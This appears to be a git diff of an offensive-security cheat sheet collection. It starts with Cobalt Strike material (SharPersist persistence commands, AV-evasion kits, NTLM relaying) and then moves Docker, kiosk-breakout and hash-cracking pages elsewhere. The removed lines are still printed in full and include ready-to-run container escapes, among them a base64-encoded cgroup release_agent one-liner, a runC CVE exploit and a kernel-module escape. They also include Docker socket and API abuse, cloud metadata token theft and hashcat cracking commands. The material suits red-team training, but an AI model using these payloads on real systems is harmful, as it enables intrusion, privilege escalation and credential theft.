SharPersist -t schtaskbackdoor -m list
SharPersist -t startupfolder -m list
SharPersist -t schtask -m list
# Add a persistence
SharPersist -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Something Cool" -m add
SharPersist -t schtaskbackdoor -n "Something Cool" -m remove
SharPersist -t service -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Service" -m add
SharPersist -t service -n "Some Service" -m remove
SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Task" -m add
SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Task" -m add -o hourly
SharPersist -t schtask -n "Some Task" -m remove
```
### Resource Kit
> The Resource Kit is Cobalt Strike's means to change the HTA, PowerShell, Python, VBA, and VBS script templates Cobalt Strike uses in its workflows
### Artifact Kit
> Cobalt Strike uses the Artifact Kit to generate its executables and DLLs. The Artifact Kit is a source code framework to build executables and DLLs that evade some anti-virus products. The Artifact Kit build script creates a folder with template artifacts for each Artifact Kit technique. To use a technique with Cobalt Strike, go to Cobalt Strike -> Script Manager, and load the artifact.cna script from that technique's folder.
Artifact Kit (Cobalt Strike 4.0) - https://www.youtube.com/watch?v=6mC21kviwG4 :
- Download the artifact kit : `Go to Help -> Arsenal to download Artifact Kit (requires a licensed version of Cobalt Strike)`
- Install the dependencies : `sudo apt-get install mingw-w64`
- Edit the Artifact code
* Change pipename strings
* Change `VirtualAlloc` in `patch.c`/`patch.exe`, e.g: HeapAlloc
* Change Import
- Build the Artifact
- Cobalt Strike -> Script Manager > Load .cna
### Mimikatz Kit
* Download and extract the .tgz from the Arsenal (Note: The version uses the Mimikatz release version naming (i.e., 2.2.0.20210724)
* Load the mimikatz.cna aggressor script
* Use mimikatz functions as normal
### Sleep Mask Kit
> The Sleep Mask Kit is the source code for the sleep mask function that is executed to obfuscate Beacon, in memory, prior to sleeping.
Use the included `build.sh` or `build.bat` script to build the Sleep Mask Kit on Kali Linux or Microsoft Windows. The script builds the sleep mask object file for the three types of Beacons (default, SMB, and TCP) on both x86 and x64 architectures in the sleepmask directory. The default type supports HTTP, HTTPS, and DNS Beacons.
### Thread Stack Spoofer
> An advanced in-memory evasion technique that spoofs Thread Call Stack. This technique allows to bypass thread-based memory examination rules and better hide shellcodes while in-process memory.
Thread Stack Spoofer is now enabled by default in the Artifact Kit, it is possible to disable it via the option `artifactkit_stack_spoof` in the config file `arsenal_kit.config`.
## Beacon Object Files
> A BOF is just a block of position-independent code that receives pointers to some Beacon internal APIs
Example: https://github.com/Cobalt-Strike/bof_template/blob/main/beacon.h
* Compile
```ps1
# To compile this with Visual Studio:
cl.exe /c /GS- hello.c /Fohello.o
# To compile this with x86 MinGW:
i686-w64-mingw32-gcc -c hello.c -o hello.o
# To compile this with x64 MinGW:
x86_64-w64-mingw32-gcc -c hello.c -o hello.o
```
* Execute: `inline-execute /path/to/hello.o`
## NTLM Relaying via Cobalt Strike
```powershell
beacon> socks 1080
kali> proxychains python3 /usr/local/bin/ntlmrelayx.py -t smb://<IP_TARGET>
beacon> rportfwd_local 8445 <IP_KALI> 445
beacon> upload C:\Tools\PortBender\WinDivert64.sys
beacon> PortBender redirect 445 8445
```
## References
* [Red Team Ops with Cobalt Strike (1 of 9): Operations](https://www.youtube.com/watch?v=q7VQeK533zI)
* [Red Team Ops with Cobalt Strike (2 of 9): Infrastructure](https://www.youtube.com/watch?v=5gwEMocFkc0)
* [Red Team Ops with Cobalt Strike (3 of 9): C2](https://www.youtube.com/watch?v=Z8n9bIPAIao)
* [Red Team Ops with Cobalt Strike (4 of 9): Weaponization](https://www.youtube.com/watch?v=H0_CKdwbMRk)
* [Red Team Ops with Cobalt Strike (5 of 9): Initial Access](https://www.youtube.com/watch?v=bYt85zm4YT8)
* [Red Team Ops with Cobalt Strike (6 of 9): Post Exploitation](https://www.youtube.com/watch?v=Pb6yvcB2aYw)
* [Red Team Ops with Cobalt Strike (7 of 9): Privilege Escalation](https://www.youtube.com/watch?v=lzwwVwmG0io)
* [Red Team Ops with Cobalt Strike (8 of 9): Lateral Movement](https://www.youtube.com/watch?v=QF_6zFLmLn0)
* [Red Team Ops with Cobalt Strike (9 of 9): Pivoting](https://www.youtube.com/watch?v=sP1HgUu7duU&list=PL9HO6M_MU2nfQ4kHSCzAQMqxQxH47d1no&index=10&t=0s)
* [A Deep Dive into Cobalt Strike Malleable C2 - Joe Vest - Sep 5, 2018 ](https://posts.specterops.io/a-deep-dive-into-cobalt-strike-malleable-c2-6660e33b0e0b)
* [Cobalt Strike. Walkthrough for Red Teamers - Neil Lines - 15 Apr 2019](https://www.pentestpartners.com/security-blog/cobalt-strike-walkthrough-for-red-teamers/)
* [TALES OF A RED TEAMER: HOW TO SETUP A C2 INFRASTRUCTURE FOR COBALT STRIKE UB 2018 - NOV 25 2018](https://holdmybeersecurity.com/2018/11/25/tales-of-a-red-teamer-how-to-setup-a-c2-infrastructure-for-cobalt-strike-ub-2018/)
* [Cobalt Strike - DNS Beacon](https://www.cobaltstrike.com/help-dns-beacon)
* [How to Write Malleable C2 Profiles for Cobalt Strike - January 24, 2017](https://bluescreenofjeff.com/2017-01-24-how-to-write-malleable-c2-profiles-for-cobalt-strike/)
* [NTLM Relaying via Cobalt Strike - July 29, 2021 - Rasta Mouse](https://rastamouse.me/ntlm-relaying-via-cobalt-strike/)
* [Cobalt Strike - User Guide](https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/welcome_main.htm)
* [Cobalt Strike 4.6 - User Guide PDF](https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/cobalt-4-6-user-guide.pdf)

View File

@@ -1,219 +1,14 @@
# Docker Pentest # Container - Docker
> Docker is a set of platform as a service (PaaS) products that uses OS-level virtualization to deliver software in packages called containers. :warning: Content of this page has been moved to [InternalAllTheThings/containers/docker](https://swisskyrepo.github.io/InternalAllTheThings/containers/docker/)
## Summary - [Tools](https://swisskyrepo.github.io/InternalAllTheThings/containers/docker/#tools)
- [Mounted Docker Socket](https://swisskyrepo.github.io/InternalAllTheThings/containers/docker/#mounted-docker-socket)
- [Tools](#tools) - [Open Docker API Port](https://swisskyrepo.github.io/InternalAllTheThings/containers/docker/#open-docker-api-port)
- [Mounted Docker Socket](#mounted-docker-socket) - [Insecure Docker Registry](https://swisskyrepo.github.io/InternalAllTheThings/containers/docker/#insecure-docker-registry)
- [Open Docker API Port](#open-docker-api-port) - [Exploit privileged container abusing the Linux cgroup v1](https://swisskyrepo.github.io/InternalAllTheThings/containers/docker/#exploit-privileged-container-abusing-the-linux-cgroup-v1)
- [Insecure Docker Registry](#insecure-docker-registry) - [Abusing CAP_SYS_ADMIN capability](https://swisskyrepo.github.io/InternalAllTheThings/containers/docker/#abusing-capsysadmin-capability)
- [Exploit privileged container abusing the Linux cgroup v1](#exploit-privileged-container-abusing-the-linux-cgroup-v1) - [Abusing coredumps and core_pattern](https://swisskyrepo.github.io/InternalAllTheThings/containers/docker/#abusing-coredumps-and-corepattern)
- [Breaking out of Docker via runC](#breaking-out-of-docker-via-runc) - [Breaking out of Docker via runC](https://swisskyrepo.github.io/InternalAllTheThings/containers/docker/#breaking-out-of-docker-via-runc)
- [Breaking out of containers using a device file](#breaking-out-of-containers-using-a-device-file) - [Breaking out of containers using a device file](https://swisskyrepo.github.io/InternalAllTheThings/containers/docker/#breaking-out-of-containers-using-a-device-file)
- [References](#references) - [References](https://swisskyrepo.github.io/InternalAllTheThings/containers/docker/#references)
## Tools
* [Dockscan](https://github.com/kost/dockscan) : Dockscan is security vulnerability and audit scanner for Docker installations
```powershell
dockscan unix:///var/run/docker.sock
dockscan -r html -o myreport -v tcp://example.com:5422
```
* [DeepCe](https://github.com/stealthcopter/deepce) : Docker Enumeration, Escalation of Privileges and Container Escapes (DEEPCE)
```powershell
./deepce.sh
./deepce.sh --no-enumeration --exploit PRIVILEGED --username deepce --password deepce
./deepce.sh --no-enumeration --exploit SOCK --shadow
./deepce.sh --no-enumeration --exploit DOCKER --command "whoami>/tmp/hacked"
```
## Mounted Docker Socket
Prerequisite:
* Socker mounted as volume : `- "/var/run/docker.sock:/var/run/docker.sock"`
Usually found in `/var/run/docker.sock`, for example for Portainer.
```powershell
curl --unix-socket /var/run/docker.sock http://127.0.0.1/containers/json
curl -XPOST unix-socket /var/run/docker.sock -d '{"Image":"nginx"}' -H 'Content-Type: application/json' http://localhost/containers/create
curl -XPOST unix-socket /var/run/docker.sock http://localhost/containers/ID_FROM_PREVIOUS_COMMAND/start
```
Exploit using [brompwnie/ed](https://github.com/brompwnie/ed)
```powershell
root@37bb034797d1:/tmp# ./ed_linux_amd64 -path=/var/run/ -autopwn=true
[+] Hunt dem Socks
[+] Hunting Down UNIX Domain Sockets from: /var/run/
[*] Valid Socket: /var/run/docker.sock
[+] Attempting to autopwn
[+] Hunting Docker Socks
[+] Attempting to Autopwn: /var/run/docker.sock
[*] Getting Docker client...
[*] Successfully got Docker client...
[+] Attempting to escape to host...
[+] Attempting in TTY Mode
chroot /host && clear
echo 'You are now on the underlying host'
chroot /host && clear
echo 'You are now on the underlying host'
/ # chroot /host && clear
/ # echo 'You are now on the underlying host'
You are now on the underlying host
/ # id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
```
## Open Docker API Port
Prerequisite:
* Docker runned with `-H tcp://0.0.0.0:XXXX`
```powershell
$ nmap -sCV 10.10.10.10 -p 2376
2376/tcp open docker Docker 19.03.5
| docker-version:
| Version: 19.03.5
| MinAPIVersion: 1.12
```
Mount the current system inside a new "temporary" Ubuntu container, you will gain root access to the filesystem in `/mnt`.
```powershell
$ export DOCKER_HOST=tcp://10.10.10.10:2376
$ docker run --name ubuntu_bash --rm -i -v /:/mnt -u 0 -t ubuntu bash
or
$ docker -H open.docker.socket:2375 ps
$ docker -H open.docker.socket:2375 exec -it mysql /bin/bash
or
$ curl -s insecure https://tls-opendocker.socket:2376/secrets | jq
$ curl insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket2376/containers/create?name=test -d '{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}'
```
From there you can backdoor the filesystem by adding an ssh key in `/root/.ssh` or adding a new root user in `/etc/passwd`.
## Insecure Docker Registry
Docker Registrys fingerprint is `Docker-Distribution-Api-Version` header. Then connect to Registry API endpoint: `/v2/_catalog`.
```powershell
curl https://registry.example.com/v2/<image_name>/tags/list
docker pull https://registry.example.com:443/<image_name>:<tag>
# connect to the endpoint and list image blobs
curl -s -k --user "admin:admin" https://docker.registry.local/v2/_catalog
curl -s -k --user "admin:admin" https://docker.registry.local/v2/wordpress-image/tags/list
curl -s -k --user "admin:admin" https://docker.registry.local/v2/wordpress-image/manifests/latest
# download blobs
curl -s -k --user 'admin:admin' 'http://docker.registry.local/v2/wordpress-image/blobs/sha256:c314c5effb61c9e9c534c81a6970590ef4697b8439ec6bb4ab277833f7315058' > out.tar.gz
# automated download
https://github.com/NotSoSecure/docker_fetch/
python /opt/docker_fetch/docker_image_fetch.py -u http://admin:admin@docker.registry.local
```
Access a private registry and start a container with one of its image
```powershell
docker login -u admin -p admin docker.registry.local
docker pull docker.registry.local/wordpress-image
docker run -it docker.registry.local/wordpress-image /bin/bash
```
Access a private registry using OAuth Token from Google
```powershell
curl http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/email
curl -s http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token
docker login -e <email> -u oauth2accesstoken -p "<access token>" https://gcr.io
```
## Exploit privileged container abusing the Linux cgroup v1
Prerequisite (at least one):
* `--privileged`
* `--security-opt apparmor=unconfined --cap-add=SYS_ADMIN` flags.
```powershell
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash -c 'echo "cm5kX2Rpcj0kKGRhdGUgKyVzIHwgbWQ1c3VtIHwgaGVhZCAtYyAxMCkKbWtkaXIgL3RtcC9jZ3JwICYmIG1vdW50IC10IGNncm91cCAtbyByZG1hIGNncm91cCAvdG1wL2NncnAgJiYgbWtkaXIgL3RtcC9jZ3JwLyR7cm5kX2Rpcn0KZWNobyAxID4gL3RtcC9jZ3JwLyR7cm5kX2Rpcn0vbm90aWZ5X29uX3JlbGVhc2UKaG9zdF9wYXRoPWBzZWQgLW4gJ3MvLipccGVyZGlyPVwoW14sXSpcKS4qL1wxL3AnIC9ldGMvbXRhYmAKZWNobyAiJGhvc3RfcGF0aC9jbWQiID4gL3RtcC9jZ3JwL3JlbGVhc2VfYWdlbnQKY2F0ID4gL2NtZCA8PCBfRU5ECiMhL2Jpbi9zaApjYXQgPiAvcnVubWUuc2ggPDwgRU9GCnNsZWVwIDMwIApFT0YKc2ggL3J1bm1lLnNoICYKc2xlZXAgNQppZmNvbmZpZyBldGgwID4gIiR7aG9zdF9wYXRofS9vdXRwdXQiCmhvc3RuYW1lID4+ICIke2hvc3RfcGF0aH0vb3V0cHV0IgppZCA+PiAiJHtob3N0X3BhdGh9L291dHB1dCIKcHMgYXh1IHwgZ3JlcCBydW5tZS5zaCA+PiAiJHtob3N0X3BhdGh9L291dHB1dCIKX0VORAoKIyMgTm93IHdlIHRyaWNrIHRoZSBkb2NrZXIgZGFlbW9uIHRvIGV4ZWN1dGUgdGhlIHNjcmlwdC4KY2htb2QgYSt4IC9jbWQKc2ggLWMgImVjaG8gXCRcJCA+IC90bXAvY2dycC8ke3JuZF9kaXJ9L2Nncm91cC5wcm9jcyIKIyMgV2FpaWlpaXQgZm9yIGl0Li4uCnNsZWVwIDYKY2F0IC9vdXRwdXQKZWNobyAi4oCiPygowq/CsMK3Ll8u4oCiIHByb2ZpdCEg4oCiLl8uwrfCsMKvKSnYn+KAoiIK" | base64 -d | bash -'
```
Exploit breakdown :
```powershell
# On the host
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash
# In the container
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
```
## Breaking out of Docker via runC
> The vulnerability allows a malicious container to (with minimal user interaction) overwrite the host runc binary and thus gain root-level code execution on the host. The level of user interaction is being able to run any command ... as root within a container in either of these contexts: Creating a new container using an attacker-controlled image. Attaching (docker exec) into an existing container which the attacker had previous write access to. - Vulnerability overview by the runC team
Exploit for CVE-2019-5736 : https://github.com/twistlock/RunC-CVE-2019-5736
```powershell
$ docker build -t cve-2019-5736:malicious_image_POC ./RunC-CVE-2019-5736/malicious_image_POC
$ docker run --rm cve-2019-5736:malicious_image_POC
```
## Breaking out of containers using a device file
```powershell
https://github.com/FSecureLABS/fdpasser
In container, as root: ./fdpasser recv /moo /etc/shadow
Outside container, as UID 1000: ./fdpasser send /proc/$(pgrep -f "sleep 1337")/root/moo
Outside container: ls -la /etc/shadow
Output: -rwsrwsrwx 1 root shadow 1209 Oct 10 2019 /etc/shadow
```
## Breaking out of Docker via kernel modules loading
> When privileged Linux containers attempt to load kernel modules, the modules are loaded into the host's kernel (because there is only *one* kernel, unlike VMs). This provides a route to an easy container escape.
Exploitation:
* Clone the repository : `git clone https://github.com/xcellerator/linux_kernel_hacking/tree/master/3_RootkitTechniques/3.8_privileged_container_escaping`
* Build with `make`
* Start a privileged docker container with `docker run -it --privileged --hostname docker --mount "type=bind,src=$PWD,dst=/root" ubuntu`
* `cd /root` in the new container
* Insert the kernel module with `./escape`
* Run `./execute`!
Unlike other techniques, this module doesn't contain any syscalls hooks, but merely creates two new proc files; `/proc/escape` and `/proc/output`.
* `/proc/escape` only answers to write requests and simply executes anything that's passed to it via [`call_usermodehelper()`](https://www.kernel.org/doc/htmldocs/kernel-api/API-call-usermodehelper.html).
* `/proc/output` just takes input and stores it in a buffer when written to, then returns that buffer when it's read from - essentially acting a like a file that both the container and the host can read/write to.
The clever part is that anything we write to `/proc/escape` gets sandwiched into `/bin/sh -c <INPUT> > /proc/output`. This means that the command is run under `/bin/sh` and the output is redirected to `/proc/output`, which we can then read from within the container.
Once the module is loaded, you can simply `echo "cat /etc/passwd" > /proc/escape` and then get the result via `cat /proc/output`. Alternatively, you can use the `execute` program to give yourself a makeshift shell (albeit an extraordinarily basic one).
The only caveat is that we cannot be sure that the container has `kmod` installed (which provides `insmod` and `rmmod`). To overcome this, after building the kernel module, we load it's byte array into a C program, which then uses the `init_module()` syscall to load the module into the kernel without needing `insmod`. If you're interested, take a look at the Makefile.
## References
- [Hacking Docker Remotely - 17 March 2020 - ch0ks](https://hackarandas.com/blog/2020/03/17/hacking-docker-remotely/)
- [Understanding Docker container escapes - JULY 19, 2019 - Trail of Bits](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)
- [Capturing all the flags in BSidesSF CTF by pwning our infrastructure - Hackernoon](https://hackernoon.com/capturing-all-the-flags-in-bsidessf-ctf-by-pwning-our-infrastructure-3570b99b4dd0)
- [Breaking out of Docker via runC Explaining CVE-2019-5736 - Yuval Avrahami - February 21, 2019](https://unit42.paloaltonetworks.com/breaking-docker-via-runc-explaining-cve-2019-5736/)
- [CVE-2019-5736: Escape from Docker and Kubernetes containers to root on host - dragonsector.pl](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html)
- [OWASP - Docker Security CheatSheet](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Docker_Security_Cheat_Sheet.md)
- [Anatomy of a hack: Docker Registry - NotSoSecure - April 6, 2017](https://www.notsosecure.com/anatomy-of-a-hack-docker-registry/)
- [Linux Kernel Hacking 3.8: Privileged Container Escapes - Harvey Phillips @xcellerator](https://github.com/xcellerator/linux_kernel_hacking/tree/master/3_RootkitTechniques/3.8_privileged_container_escaping)

View File

@@ -0,0 +1,9 @@
# Container - Kubernetes
:warning: Content of this page has been moved to [InternalAllTheThings/containers/kubernetes/](https://swisskyrepo.github.io/InternalAllTheThings/containers/kubernetes/)
- [Tools](https://swisskyrepo.github.io/InternalAllTheThings/containers/kubernetes/#tools)
- [Exploits](https://swisskyrepo.github.io/InternalAllTheThings/containers/kubernetes/#exploits)
- [Accessible kubelet on 10250/TCP](https://swisskyrepo.github.io/InternalAllTheThings/containers/kubernetes/#accessible-kubelet-on-10250tcp)
- [Obtaining Service Account Token](https://swisskyrepo.github.io/InternalAllTheThings/containers/kubernetes/#obtaining-service-account-token)
- [References](https://swisskyrepo.github.io/InternalAllTheThings/containers/kubernetes/#references)

View File

@@ -1,149 +1,16 @@
# Application Escape and Breakout # Application Escape and Breakout
## Summary :warning: Content of this page has been moved to [InternalAllTheThings/cheatsheets/escape-breakout](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/escape-breakout/)
* [Gaining a command shell](#gaining-a-command-shell) - [Gaining a command shell](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/escape-breakout/#gaining-a-command-shell)
* [Sticky Keys](#sticky-keys) - [Sticky Keys](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/escape-breakout/#sticky-keys)
* [Dialog Boxes](#dialog-boxes) - [Dialog Boxes](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/escape-breakout/#dialog-boxes)
* [Creating new files](#creating-new-files) - [Creating new files](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/escape-breakout/#creating-new-files)
* [Open a new Windows Explorer instance](#open-a-new-windows-explorer-instance) - [Open a new Windows Explorer instance](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/escape-breakout/#open-a-new-windows-explorer-instance)
* [Exploring Context Menus](#exploring-context-menus) - [Exploring Context Menus](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/escape-breakout/#exploring-context-menus)
* [Save as](#save-as) - [Save as](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/escape-breakout/#save-as)
* [Input Boxes](#input-boxes) - [Input Boxes](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/escape-breakout/#input-boxes)
* [Bypass file restrictions](#bypass-file-restrictions) - [Bypass file restrictions](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/escape-breakout/#bypass-file-restrictions)
* [Internet Explorer](#internet-explorer) - [Internet Explorer](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/escape-breakout/#internet-explorer)
* [Shell URI Handlers](#shell-uri-handlers) - [Shell URI Handlers](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/escape-breakout/#shell-uri-handlers)
* [References](#references) - [References](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/escape-breakout/#references)
## Gaining a command shell
* **Shortcut**
* [Window] + [R] -> cmd
* [CTRL] + [SHIFT] + [ESC] -> Task Manager
* [CTRL] + [ALT] + [DELETE] -> Task Manager
* **Access through file browser**: Browsing to the folder containing the binary (i.e. `C:\windows\system32\`), we can simply right click and `open` it
* **Drag-and-drop**: dragging and dropping any file onto the cmd.exe
* **Hyperlink**: `file:///c:/Windows/System32/cmd.exe`
* **Task Manager**: `File` > `New Task (Run...)` > `cmd`
* **MSPAINT.exe**
* Open MSPaint.exe and set the canvas size to: Width=6 and Height=1 pixels
* Zoom in to make the following tasks easier
* Using the colour picker, set pixels values to (from left to right):
* 1st: R: 10, G: 0, B: 0
* 2nd: R: 13, G: 10, B: 13
* 3rd: R: 100, G: 109, B: 99
* 4th: R: 120, G: 101, B: 46
* 5th: R: 0, G: 0, B: 101
* 6th: R: 0, G: 0, B: 0
* Save it as 24-bit Bitmap (*.bmp;*.dib)
* Change its extension from bmp to bat and run
## Sticky Keys
* Spawn the sticky keys dialog
* Via Shell URI : `shell:::{20D04FE0-3AEA-1069-A2D8-08002B30309D}`
* Hit 5 times [SHIFT]
* Visit "Ease of Access Center"
* You land on "Setup Sticky Keys", move up a level on "Ease of Access Center"
* Start the OSK (On-Screen-Keyboard)
* You can now use the keyboard shortcut (CTRL+N)
## Dialog Boxes
### Creating new files
* Batch files Right click > New > Text File > rename to .BAT (or .CMD) > edit > open
* Shortcuts Right click > New > Shortcut > `%WINDIR%\system32`
## Open a new Windows Explorer instance
* Right click any folder > select `Open in new window`
## Exploring Context Menus
* Right click any file/folder and explore context menus
* Clicking `Properties`, especially on shortcuts, can yield further access via `Open File Location`
### Save as
* "Save as" / "Open as" option
* "Print" feature selecting "print to file" option (XPS/PDF/etc)
* `\\127.0.0.1\c$\Windows\System32\` and execute `cmd.exe`
### Input Boxes
Many input boxes accept file paths; try all inputs with UNC paths such as `//attackerpc/` or `//127.0.0.1/c$` or `C:\`
### Bypass file restrictions
Enter *.* or *.exe or similar in `File name` box
## Internet Explorer
### Download and Run/Open
* Text files -> opened by Notepad
### Menus
* The address bar
* Search menus
* Help menus
* Print menus
* All other menus that provide dialog boxes
### Accessing filesystem
Enter these paths in the address bar:
* file://C:/windows
* C:/windows/
* %HOMEDRIVE%
* \\127.0.0.1\c$\Windows\System32
### Unassociated Protocols
It is possible to escape a browser based kiosk with other protocols than usual `http` or `https`.
If you have access to the address bar, you can use any known protocol (`irc`, `ftp`, `telnet`, `mailto`, etc.)
to trigger the *open with* prompt and select a program installed on the host.
The program will than be launched with the uri as a parameter, you need to select a program that will not crash when recieving it.
It is possible to send multiple parameters to the program by adding spaces in your uri.
Note: This technique required that the protocol used is not already associated with a program.
Example - Launching Firefox with a custom profile:
This is a nice trick since Firefox launched with the custom profile may not be as much hardened as the default profile.
0. Firefox need to be installed.
1. Enter the following uri in the address bar: `irc://127.0.0.1 -P "Test"`
2. Press enter to navigate to the uri.
3. Select the firefox program.
4. Firefox will be launched with the profile `Test`.
In this example, it's the equivalent of running the following command:
```
firefox irc://127.0.0.1 -P "Test"
```
## Shell URI Handlers
* shell:DocumentsLibrary
* shell:Librariesshell:UserProfiles
* shell:Personal
* shell:SearchHomeFolder
* shell:System shell:NetworkPlacesFolder
* shell:SendTo
* shell:Common Administrative Tools
* shell:MyComputerFolder
* shell:InternetFolder
## References
* [PentestPartners - Breaking out of Citrix and other restricted desktop environments](https://www.pentestpartners.com/security-blog/breaking-out-of-citrix-and-other-restricted-desktop-environments/)
* [Breaking Out! of Applications Deployed via Terminal Services, Citrix, and Kiosks - Scott Sutherland - May 22nd, 2013](https://blog.netspi.com/breaking-out-of-applications-deployed-via-terminal-services-citrix-and-kiosks/)
* [Escaping from KIOSKs - HackTricks](https://book.hacktricks.xyz/physical-attacks/escaping-from-gui-applications)
* [Breaking out of Windows Kiosks using only Microsoft Edge - Firat Acar - May 24, 2022](https://blog.nviso.eu/2022/05/24/breaking-out-of-windows-kiosks-using-only-microsoft-edge/)

View File

@@ -0,0 +1,6 @@
# HTML Smuggling
:warning: Content of this page has been moved to [InternalAllTheThings/redteam/access/html-smuggling](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/html-smuggling/)
- [Description](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/html-smuggling/#description)
- [Executable Storage](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/html-smuggling/#executable-storage)

View File

@@ -1,163 +1,15 @@
# Hash Cracking # Hash Cracking
## Summary :warning: Content of this page has been moved to [InternalAllTheThings/cheatsheets/hash-cracking](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/hash-cracking/)
* [Hashcat](https://hashcat.net/hashcat/) - [Hashcat](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/hash-cracking/#hashcat)
* [Hashcat Example Hashes](https://hashcat.net/wiki/doku.php?id=example_hashes) - [Hashcat Example Hashes](https://hashcat.net/wiki/doku.php?id=example_hashes)
* [Hashcat Install](#hashcat-install) - [Hashcat Install](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/hash-cracking/#hashcat-install)
* [Mask attack](#mask-attack) - [Mask attack](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/hash-cracking/#mask-attack)
* [Dictionary](#dictionary) - [Dictionary](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/hash-cracking/#dictionary)
* [John](https://github.com/openwall/john) - [John](https://github.com/openwall/john)
* [Usage](#john-usage) - [Usage](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/hash-cracking/#john-usage)
* [Rainbow tables](#rainbow-tables) - [Rainbow tables](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/hash-cracking/#rainbow-tables)
* [Tips and Tricks](#tips-and-tricks) - [Tips and Tricks](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/hash-cracking/#tips-and-tricks)
* [Online Cracking Resources](#online-cracking-resources) - [Online Cracking Resources](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/hash-cracking/#online-cracking-resources)
* [References](#references) - [References](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/hash-cracking/#references)
## Hashcat
### Hashcat Install
```powershell
apt install cmake build-essential -y
apt install checkinstall git -y
git clone https://github.com/hashcat/hashcat.git && cd hashcat && make -j 8 && make install
```
1. Extract the hash
2. Get the hash format: https://hashcat.net/wiki/doku.php?id=example_hashes
3. Establish a cracking stratgy based on hash format (ex: wordlist -> wordlist + rules -> mask -> combinator mode -> prince attack -> ...)
4. Enjoy plains
5. Review strategy
6. Start over
### Dictionary
> Every word of a given list (a.k.a. dictionary) is hashed and compared against the target hash.
```powershell
hashcat --attack-mode 0 --hash-type $number $hashes_file $wordlist_file -r $my_rules
```
* Wordlists
* [packetstorm](https://packetstormsecurity.com/Crackers/wordlists/)
* [weakpass_3a](https://download.weakpass.com/wordlists/1948/weakpass_3a.7z)
* [weakpass_3](https://download.weakpass.com/wordlists/1947/weakpass_3.7z)
* [Hashes.org](https://download.weakpass.com/wordlists/1931/Hashes.org.7z)
* [kerberoast_pws](https://gist.github.com/edermi/f8b143b11dc020b854178d3809cf91b5/raw/b7d83af6a8bbb43013e04f78328687d19d0cf9a7/kerberoast_pws.xz)
* [hashmob.net](https://hashmob.net/research/wordlists)
* [clem9669/wordlists](https://github.com/clem9669/wordlists)
* Rules
* [One Rule to Rule Them All](https://notsosecure.com/one-rule-to-rule-them-all/)
* [nsa-rules](https://github.com/NSAKEY/nsa-rules)
* [hob064](https://raw.githubusercontent.com/praetorian-inc/Hob0Rules/master/hob064.rule)
* [d3adhob0](https://raw.githubusercontent.com/praetorian-inc/Hob0Rules/master/d3adhob0.rule)
* [clem9669/hashcat-rule](https://github.com/clem9669/hashcat-rule)
### Mask attack
Mask attack is an attack mode which optimize brute-force.
> Every possibility for a given character set and a given length (i.e. aaa, aab, aac, ...) is hashed and compared against the target hash.
```powershell
# Mask: upper*1+lower*5+digit*2 and upper*1+lower*6+digit*2
hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 ?u?l?l?l?l?l?d?d
hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 ?u?l?l?l?l?l?l?d?d
hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 -1 "*+!??" ?u?l?l?l?l?l?d?d?1
hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 -1 "*+!??" ?u?l?l?l?l?l?l?d?d?1
# Mask: upper*1+lower*3+digit*4 and upper*1+lower*3+digit*4
hashcat -m 1000 --status --status-timer 300 -w 4 -O /content/*.ntds -a 3 ?u?l?l?l?d?d?d?d
